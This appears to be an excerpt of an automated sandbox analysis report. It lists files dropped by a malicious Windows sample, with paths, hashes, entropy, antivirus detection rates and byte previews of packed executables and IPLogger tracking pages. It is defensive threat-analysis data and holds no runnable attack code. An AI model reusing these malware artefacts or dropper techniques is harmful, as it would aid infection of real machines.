Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="336991" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB3B5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94960
Entropy (8bit):	3.073573755269162
Encrypted:	false
SSDEEP:	1536:j/rLLvZmabJBDwxcdhnJIRMb00JpsiAES02/jE1k:j/rLLvZmabJBDwxcdhnJIRMb00JpsiAH
MD5:	DBA86AB9842287CD58A13A12850A6F59
SHA1:	DCB9509DB219F885AD5B5E18858F32F118AAE411
SHA-256:	8D35619C51A46687826120FD203F384D969E7A6629DF12FC31BBBA9D961685D7
SHA-512:	FA5BDBDF21238C4424F55A47A8AC5F3E9B52CAC53D439DC78B0A94166B9F9210358BAE82FE48F7B35408519067237338056B858DA38F3E176805D590F41065B0
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB4BF.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.684072391493919
Encrypted:	false
SSDEEP:	96:TiZYW7yChHYZYS3W+eHWYEZV5tEiAVRQ7wUL++oaVu3M3UoCIfW3:2ZDNODPZ+aVu3M3UolfW3
MD5:	FB6E9DDC3BCC0162C3DBA6AAAC147D41
SHA1:	F1D0021E2CC0E92DCBB634A12BC42D7790EF49C9
SHA-256:	345C80F470A5BBD0B2748F937BFCE47EAC8E0B0254279C7BFE4BF051E1CF769F
SHA-512:	C8045A434508EF3A32A212A65F0A02289BA9DB7932222AD7024F73E87CD54A71ADE045E0A2A307738EE9C81DCF4531AAF033DAD32CFF94C06ACD6AE275278759
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\Users\user~1\AppData\Local\Temp\!@tA09A.tmp (copy)

Download File

Process:	C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 656 bytes, 1 file, at 0x2c +A "setup.ini", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	656
Entropy (8bit):	7.492551357126481
Encrypted:	false
SSDEEP:	12:wrtrk9cAyVu8J7KZxUxX+NrmAjs6jqtgja6Ti0eR/WAd1O69p:wauAcJeXUxXyxjVtBeR/Pd1Fp
MD5:	184A117024F3789681894C67B36CE990
SHA1:	C5B687DB3B27EF04AD2B2CBC9F4E523CB7F6BA7E
SHA-256:	B10D5FEF165FC89E61CD16E02EAC1B90B8F94EF95218BDD4B678CD0D5C8A925E
SHA-512:	354D3BBC1329CBBE30D22F0CF95564E44ACC68D6FE91E2BEB4584A473D320FAF4C092DE9DB7F1F93CF0B235703FC8DE913883985C7D5DB6B596244771A1EDAF7
Malicious:	false
Preview:	MSCF............,...................F.......>..........X.u .setup.ini.(.UdB.>.CKMR.n.0.\|G...=...V..>..h.M..VU..HB... ...I[..b.....)G...l...=...>.p..Q.=_Wa.x+G.&?..MV./m......6+.K.G....u.....cD...2_...5....a.(&.......E...8Z...i.E.Lg?...............z.6w.=w.~.X...n...-..3.&....a../e...._9.......=}8~'\.>U....,\|M..S.].S.6...1..H..."....I5 F$Q.;O.G.....G.b..P'.X>.i...IR,..v...X.W.......!..<..9X......9.}.(.e.....V.n...;.....M.X..d.:..].p.?.M...4.~;..#.....t.k...p..e.0.>.1..L.w.k..'..I,..Z...x....+..R.$r.z%..P.p. .;.....!..i.......D...$.3.P.......0.4. ..A.`..2......`......$E......,..K.-O.5$......9...e.0..A.0"VZ..w.../..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	338
Entropy (8bit):	3.5561266212990956
Encrypted:	false
SSDEEP:	6:kKf48EQaJmsN+SkQlPlEGYRMY9z+s3Ql2DUevat:ICTkPlE99SCQl2DUevat
MD5:	D5C92646517A70104BC931C0A948BDC9
SHA1:	C126F2DC949B434DC0E1D53835CD93A3EF824FFE
SHA-256:	9E6C2D39CDE5ED95B5ECCEE76ECE3480B3CEF61ACD98299CF3D5514FE5FBD2F7
SHA-512:	AFAFCED1DE26B8685DDABBB15A85F1CEC5531D8CA4C4F62EA4EBF8FB476726C7B142E218EF93498C99E4DF6DA5E8EEA580426619F501863218F3F67F60A0709B
Malicious:	false
Preview:	p...... ................(..................................................=M... .........p.........$.....(=........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\Local\2nhKzHIgDWCzStH9EAQv4dqj.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
MD5:	F0587649682207064554A2372966435D
SHA1:	2E8B948DFCFFCEB8ACF550A585D2EA127F28F41F
SHA-256:	6BD479DD9293043D4149641897629169DF609ADF72926D32ADFE0094C583828E
SHA-512:	F5D683B9F71F5F3647D0592F801C02F1DCEA7EB49B16FA2E481487D0ABC1770610DC9182148A68F749B19950FC3B122911AE0FD1B167CE5DDE31931A14B45FDD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... .........................................................0..d.......................................................(................................................... .........T&..................... ..... .......X&..................rsrc...d....0.......`&.............@....idata...............(.............@....tls..................(..................themida..A......A...(.............`...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\3wIIRe1QiHmGmyDfkt1MdfjR.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1524456
Entropy (8bit):	6.801769891654878
Encrypted:	false
SSDEEP:	24576:3D1YS7FpyUxT3DC2C1zj1SqdAGFQZIx2C45UJoeXH:OQ5xT3DDazjYq+ZIwL5UJoe3
MD5:	CD4ACEDEFA9AB5C7DCCAC667F91CEF13
SHA1:	BFF5CE910F75AEAE37583A63828A00AE5F02C4E7
SHA-256:	DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C
SHA-512:	06FAE66DA503EB1B9B4FBE63A5BB98C519A43999060029C35FE289E60B1CB126A6278C67CE90F02E05B893FCAEA6D54F9DEB65BC6DA82561487A7754F50C93D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe, Detection: malicious, Browse Filename: 2T6MGxlKZT.exe, Detection: malicious, Browse Filename: 2.exe, Detection: malicious, Browse Filename: 1.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........:..i..i..iM..i..i...i..i...iY.i...i..i..i..i...i..i...i..i..iB.i...i..i..i..i...i..iRich..i................PE..L......a.............................<............@..................................$.......................................Y..(.... ..`V..............P,..........@..................................@...............`...pD..@....................text............................... ..`.rdata...V.......X..................@..@.data...@....p...h...T..............@....rsrc...`V... ...X..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\4lBshxehGejQoegWUuOtgGGK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223744
Entropy (8bit):	6.935500931385667
Encrypted:	false
SSDEEP:	3072:Kuznf8GvOGOqHDT6C3q+OElN2SeYgzOdZRJZlb3asijEq95mdBbx1ldvhqy:Hf8COqjmC64eYgzOJZlWsi19YdX1ld
MD5:	C5A6381354CD5D1488E362C9103C1851
SHA1:	3D87BC60F2C8A74BCD0295AF4EDF02D9486BE3B5
SHA-256:	B69CF7AEC22182A247D52D76C200A78128CCCAFA246DEDAFC8898824DB7424F9
SHA-512:	2C22149B37041AE844F3A12459C8A7EA837B1F62E0F54D4C9FC188D823433B92497AB697F841C05D958A758A9A2B69AC0DDB779659B19721FEED54B4C5736CE7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...............................................N.............N......Rich............................PE..L.....Md.....................N.......>............@..........................`.......d.......................................i..P...................................i..............................@_..@...............d............................text.../........................... ..`.rdata...q.......r..................@..@.data...`1.......x...\..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\8RYSoZQFK6V9LYpTMM1le7yQ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223744
Entropy (8bit):	6.935500931385667
Encrypted:	false
SSDEEP:	3072:Kuznf8GvOGOqHDT6C3q+OElN2SeYgzOdZRJZlb3asijEq95mdBbx1ldvhqy:Hf8COqjmC64eYgzOJZlWsi19YdX1ld
MD5:	C5A6381354CD5D1488E362C9103C1851
SHA1:	3D87BC60F2C8A74BCD0295AF4EDF02D9486BE3B5
SHA-256:	B69CF7AEC22182A247D52D76C200A78128CCCAFA246DEDAFC8898824DB7424F9
SHA-512:	2C22149B37041AE844F3A12459C8A7EA837B1F62E0F54D4C9FC188D823433B92497AB697F841C05D958A758A9A2B69AC0DDB779659B19721FEED54B4C5736CE7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...............................................N.............N......Rich............................PE..L.....Md.....................N.......>............@..........................`.......d.......................................i..P...................................i..............................@_..@...............d............................text.../........................... ..`.rdata...q.......r..................@..@.data...`1.......x...\..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\8x9fHtTH22TaURiMTLqQ6qDQ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\AFlhDPRBYXSdsXlIscLwpPBI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1524456
Entropy (8bit):	6.801769891654878
Encrypted:	false
SSDEEP:	24576:3D1YS7FpyUxT3DC2C1zj1SqdAGFQZIx2C45UJoeXH:OQ5xT3DDazjYq+ZIwL5UJoe3
MD5:	CD4ACEDEFA9AB5C7DCCAC667F91CEF13
SHA1:	BFF5CE910F75AEAE37583A63828A00AE5F02C4E7
SHA-256:	DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C
SHA-512:	06FAE66DA503EB1B9B4FBE63A5BB98C519A43999060029C35FE289E60B1CB126A6278C67CE90F02E05B893FCAEA6D54F9DEB65BC6DA82561487A7754F50C93D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe, Detection: malicious, Browse Filename: 2T6MGxlKZT.exe, Detection: malicious, Browse Filename: 2.exe, Detection: malicious, Browse Filename: 1.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........:..i..i..iM..i..i...i..i...iY.i...i..i..i..i...i..i...i..i..iB.i...i..i..i..i...i..iRich..i................PE..L......a.............................<............@..................................$.......................................Y..(.... ..`V..............P,..........@..................................@...............`...pD..@....................text............................... ..`.rdata...V.......X..................@..@.data...@....p...h...T..............@....rsrc...`V... ...X..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\CwXesQHbkmvSYkF54FDCGs0u.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
MD5:	F0587649682207064554A2372966435D
SHA1:	2E8B948DFCFFCEB8ACF550A585D2EA127F28F41F
SHA-256:	6BD479DD9293043D4149641897629169DF609ADF72926D32ADFE0094C583828E
SHA-512:	F5D683B9F71F5F3647D0592F801C02F1DCEA7EB49B16FA2E481487D0ABC1770610DC9182148A68F749B19950FC3B122911AE0FD1B167CE5DDE31931A14B45FDD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... .........................................................0..d.......................................................(................................................... .........T&..................... ..... .......X&..................rsrc...d....0.......`&.............@....idata...............(.............@....tls..................(..................themida..A......A...(.............`...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DYOHZPW0D22LInRRNxYgymyV.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
MD5:	F0587649682207064554A2372966435D
SHA1:	2E8B948DFCFFCEB8ACF550A585D2EA127F28F41F
SHA-256:	6BD479DD9293043D4149641897629169DF609ADF72926D32ADFE0094C583828E
SHA-512:	F5D683B9F71F5F3647D0592F801C02F1DCEA7EB49B16FA2E481487D0ABC1770610DC9182148A68F749B19950FC3B122911AE0FD1B167CE5DDE31931A14B45FDD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... .........................................................0..d.......................................................(................................................... .........T&..................... ..... .......X&..................rsrc...d....0.......`&.............@....idata...............(.............@....tls..................(..................themida..A......A...(.............`...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\F4U52lR6G7O1cHxteAioycWo.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\GEiB3Ddcoc4kuTiV3LIO2ABQ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\H0hJPxhIO3F6BQNxVzuoHmfd.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1524456
Entropy (8bit):	6.801769891654878
Encrypted:	false
SSDEEP:	24576:3D1YS7FpyUxT3DC2C1zj1SqdAGFQZIx2C45UJoeXH:OQ5xT3DDazjYq+ZIwL5UJoe3
MD5:	CD4ACEDEFA9AB5C7DCCAC667F91CEF13
SHA1:	BFF5CE910F75AEAE37583A63828A00AE5F02C4E7
SHA-256:	DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C
SHA-512:	06FAE66DA503EB1B9B4FBE63A5BB98C519A43999060029C35FE289E60B1CB126A6278C67CE90F02E05B893FCAEA6D54F9DEB65BC6DA82561487A7754F50C93D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........:..i..i..iM..i..i...i..i...iY.i...i..i..i..i...i..i...i..i..iB.i...i..i..i..i...i..iRich..i................PE..L......a.............................<............@..................................$.......................................Y..(.... ..`V..............P,..........@..................................@...............`...pD..@....................text............................... ..`.rdata...V.......X..................@..@.data...@....p...h...T..............@....rsrc...`V... ...X..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\IMmyv1eSkv8WoF4sKRLh3j87.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1524456
Entropy (8bit):	6.801769891654878
Encrypted:	false
SSDEEP:	24576:3D1YS7FpyUxT3DC2C1zj1SqdAGFQZIx2C45UJoeXH:OQ5xT3DDazjYq+ZIwL5UJoe3
MD5:	CD4ACEDEFA9AB5C7DCCAC667F91CEF13
SHA1:	BFF5CE910F75AEAE37583A63828A00AE5F02C4E7
SHA-256:	DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C
SHA-512:	06FAE66DA503EB1B9B4FBE63A5BB98C519A43999060029C35FE289E60B1CB126A6278C67CE90F02E05B893FCAEA6D54F9DEB65BC6DA82561487A7754F50C93D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........:..i..i..iM..i..i...i..i...iY.i...i..i..i..i...i..i...i..i..iB.i...i..i..i..i...i..iRich..i................PE..L......a.............................<............@..................................$.......................................Y..(.... ..`V..............P,..........@..................................@...............`...pD..@....................text............................... ..`.rdata...V.......X..................@..@.data...@....p...h...T..............@....rsrc...`V... ...X..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\JRER40VeoC2Q4ducOjAkB8be.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
